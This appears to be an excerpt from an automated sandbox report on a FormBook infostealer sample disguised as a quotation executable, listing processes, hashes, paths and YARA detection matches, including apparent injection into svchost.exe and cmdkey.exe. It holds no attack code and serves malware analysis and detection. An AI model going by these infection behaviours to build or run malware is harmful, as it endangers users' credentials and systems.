4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Target ID:	2
Start time:	10:52:32
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\QUOTATION#050125.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTATION#050125.exe"
Imagebase:	0xc0000
File size:	1'755'136 bytes
MD5 hash:	B1261DE24D9BCBF7395AE21722D32A37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	10:52:33
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTATION#050125.exe"
Imagebase:	0xe30000
File size:	47'016 bytes
MD5 hash:	B7C999040D80E5BF87886D70D992C51E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.289274740765.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.289276636608.0000000005200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.289276489302.0000000003BA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	10:53:29
Start date:	09/01/2025
Path:	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe"
Imagebase:	0x3c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.293706459836.0000000004460000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	10:53:31
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmdkey.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmdkey.exe"
Imagebase:	0xc80000
File size:	17'408 bytes
MD5 hash:	6CDC8E5DF04752235D5B4432EACC81A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.292817073543.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.292817177626.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	10:53:44
Start date:	09/01/2025
Path:	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe"
Imagebase:	0x3c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.293705525670.0000000000C80000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	10:53:57
Start date:	09/01/2025
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff745470000
File size:	675'744 bytes
MD5 hash:	7B12552FD2A5948256B20EC97B708F94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true